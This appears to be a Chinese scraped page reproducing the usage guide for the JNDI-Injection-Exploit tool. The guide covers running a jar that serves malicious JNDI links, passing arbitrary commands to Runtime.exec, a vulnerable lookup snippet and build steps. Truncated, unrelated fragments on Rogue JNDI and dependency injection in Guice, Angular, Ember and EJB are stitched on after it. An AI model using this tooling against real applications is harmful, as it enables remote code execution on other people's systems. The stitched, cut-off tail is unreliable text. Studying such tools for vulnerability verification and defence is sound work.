JNDI-Injection-Exploit —— JNDI 注入利用工具,生成 JNDI 链接并启动后端相关服务,可用于 Fastjson、Jackson 等相关漏洞的验证。
可执行程序为 jar 包,在命令行中运行以下命令:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
其中:
-C - 远程 class 文件中要执行的命令。
(可选项 , 默认命令是 mac 下打开计算器,即"open /Applications/Calculator.app")
-A - 服务器地址,可以是 IP 地址或者域名。
(可选项 , 默认地址是第一个网卡地址)
注意:
要确保 1099、1389、8180 端口可用,不被其他程序占用。
或者你也可以在 run.ServerStart 类 26~28 行更改默认端口。
命令会被作为参数传入 Runtime.getRuntime().exec(),
所以需要确保命令传入 exec() 方法可执行。
bash等可在shell直接执行的相关命令需要加双引号,比如说 java -jar JNDI.jar -C "bash -c ..."
启动 JNDI-Injection-Exploit:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"
我们需要把第一步中生成的 JNDI 链接注入到存在漏洞的应用环境中,方便解释用如下代码模仿漏洞环境:
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1/fgf4fp");
}
当上面代码运行后,应用便会执行相应命令,这里是弹出计算器,没截图,可以自己测一下。
截图是工具的server端日志:
下面两种方法都可以得到Jar包
从 Realease直接下载最新的Jar。
把源码下载到本地然后自行编译打包。(在Java1.7+ 、Java1.8+ 和 Maven 3.x+环境下测试可以)
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests
本文介绍三种JNDI注入辅助工具(偷懒工具) 一、Rogue JNDI 简介 用于JNDI注入攻击的恶意LDAP服务器。 项目地址:https://github.com/veracode-research/rogue-jndi 该项目包含LDAP和HTTP服务器,用于利用默认情况下不安全的Java JNDI API。 为了进行攻击,您可以在本地启动这些服务器,然后在易受攻击的客户端上触发JNDI解
注入是将依赖注入对象的过程。 字段注入用于将值对象设置为对象字段的依赖项。 请参阅下面的示例。 例子 (Example) 创建一个名为GuiceTester的java类。 GuiceTester.java import com.google.inject.AbstractModule; import com.google.inject.Guice; import com.google.inject
依赖注入是在运行时添加组件功能的能力。 让我们看一个示例和用于实现依赖注入的步骤。 Step 1 - 创建一个具有可注入装饰器的单独类。 可注入装饰器允许在任何Angular JS模块中注入和使用此类的功能。 @Injectable() export class classname { } Step 2 - 接下来在appComponent模块或您要使用该服务的模块中,您需要将其定义
依赖注入是一种软件设计,其中组件被赋予其依赖性,而不是在组件内对它们进行硬编码。 它减轻了组件定位依赖关系并使依赖关系可配置。 它还有助于使组件可重用,可维护和可测试。 AngularJS提供了一种最高的依赖注入机制。 它提供了以下核心组件,这些组件可以作为依赖项互相注入。 Value Factory Service Provider Constant Value Value是一个简单的JavaS
它是一个将一个对象的依赖项提供给另一个对象并由Ember应用程序用于声明和实例化它们之间的对象和依赖项类的过程。 Ember.Application和Ember.ApplicationInstance类在Ember的依赖注入实现中起着重要作用。 Ember.Application类声明并配置对象并用作依赖性声明的“注册表”,其中Ember.ApplicationInstance类充当实例化对象的“
EJB 3.0规范提供了注释,可以应用于字段或setter方法以注入依赖项。 EJB容器使用全局JNDI注册表来定位依赖项。 以下注释在EJB 3.0中用于依赖注入。 @EJB - 用于注入其他EJB引用。 @Resource - 用于注入sessionContext,timerService等数据源或单例服务。 使用@EJB的步骤 @EJB可以按以下方式用于字段或方法 - public clas
注入是将依赖注入对象的过程。 方法注入用于将值对象设置为对象的依赖项。 请参阅下面的示例。 例子 (Example) 创建一个名为GuiceTester的java类。 import com.google.inject.AbstractModule; import com.google.inject.Guice; import com.google.inject.ImplementedBy; imp